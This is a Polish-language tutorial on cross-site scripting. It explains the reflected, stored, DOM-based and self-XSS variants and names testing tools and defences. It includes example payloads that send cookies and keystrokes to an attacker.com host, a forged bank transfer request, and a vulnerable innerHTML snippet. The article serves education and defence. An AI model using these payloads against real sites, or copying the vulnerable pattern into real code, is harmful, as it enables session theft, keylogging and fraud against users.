💻 Cross-Site Scripting (XSS): różne typy ataków i metody ich wykorzystania
Cross-Site Scripting (XSS) to jedna z najczęściej wykorzystywanych luk bezpieczeństwa w aplikacjach webowych, zaliczana do kategorii OWASP Top 10. Ataki XSS polegają na wstrzyknięciu złośliwego kodu (najczęściej JavaScript) do przeglądarki ofiary, co umożliwia kradzież danych, przejęcie sesji użytkownika, manipulację DOM czy ataki phishingowe. W tym artykule przedstawiamy różne typy XSS oraz techniki ich wykorzystania w praktyce.
🔍 Czym jest Cross-Site Scripting (XSS)?
XSS umożliwia atakującemu wstrzyknięcie i wykonanie własnego kodu JavaScript w przeglądarce innego użytkownika. Zaatakowany użytkownik nieświadomie wykonuje złośliwe skrypty, które mogą:
- wykraść ciasteczka sesyjne,
- manipulować wyglądem strony,
- przekierowywać użytkownika,
- logować naciskane klawisze (keylogging),
- wysyłać żądania do innych serwisów w imieniu użytkownika.

🧨 Rodzaje ataków XSS
🟢 1. Reflected XSS (niewystępujący w bazie danych)
Skrypt jest częścią URL i wykonywany natychmiast po kliknięciu linku.
Przykład URL:
http://example.com/search?q=<script>alert('XSS')</script>
💡 Typowy wektor ataku phishingowego – złośliwy link wysyłany e-mailem lub wiadomością.
🟠 2. Stored XSS (trwały XSS)
Złośliwy kod jest zapisany na serwerze (np. w komentarzach, postach) i wykonywany, gdy inny użytkownik przegląda stronę.
Przykład w komentarzu:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
💥 Najbardziej niebezpieczna forma – działa na wszystkich użytkowników odwiedzających zainfekowaną stronę.
🔵 3. DOM-based XSS
Kod złośliwy nie przechodzi przez serwer, lecz jest interpretowany bezpośrednio przez JavaScript po stronie klienta – manipulując DOM.
Przykład:
let name = location.hash.substring(1);
document.getElementById("user").innerHTML = name;
👉 Użytkownik otwiera: http://example.com/#<img src=x onerror=alert('DOM XSS')>
🔁 4. Self-XSS (atak wymaga pomocy ofiary)
Użytkownik sam wykonuje skrypt w konsoli przeglądarki, np. pod wpływem manipulacji:
💬 „Wklej to w konsolę, by zdobyć darmowe skiny!”
Nie jest bezpośrednio błędem aplikacji, ale może być wykorzystany socjotechnicznie.
🔬 Techniki wykorzystania XSS
🔐 1. Kradzież ciasteczek (cookies)
document.location='https://attacker.com/log?cookie='+document.cookie;
📋 2. Keylogger
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key=' + e.key);
}
🧾 3. Fałszowanie formularzy (phishing)
Atakujący może dodać formularz do strony przypominający logowanie, np. Google lub Facebook.
📤 4. CSRF w połączeniu z XSS
Użycie XSS do wysyłania żądań do innej aplikacji z wykorzystaniem autoryzacji ofiary:
fetch('https://bank.com/transfer?to=attacker&amount=1000');
🛠️ Jak testować aplikacje pod kątem XSS?
🔧 Narzędzia:
- Burp Suite – automatyczne skanowanie i analiza ręczna
- OWASP ZAP – darmowy skaner bezpieczeństwa
- XSStrike – wyspecjalizowane narzędzie do detekcji XSS
- XSS Hunter – narzędzie do monitorowania ataków XSS (stored XSS)
🛡️ Zabezpieczenia przed XSS
✅ Filtrowanie i walidacja danych wejściowych
✅ Kodowanie danych wyjściowych (HTML, URL, JavaScript)
✅ Stosowanie nagłówków bezpieczeństwa:
Content-Security-PolicyX-XSS-ProtectionHttpOnlyiSecuredla ciasteczek
✅ Stosowanie frameworków, które automatycznie chronią przed XSS, np. React, Angular (domyślnie escapują HTML)
✅ Podsumowanie
Cross-Site Scripting pozostaje jedną z najczęstszych i najgroźniejszych luk bezpieczeństwa aplikacji webowych. Zrozumienie typów ataków i technik ich wykorzystania jest kluczowe zarówno dla pentesterów, jak i programistów. Regularne testowanie aplikacji, odpowiednie zabezpieczenia i świadomość zagrożeń pozwalają znacząco zredukować ryzyko ataku XSS.






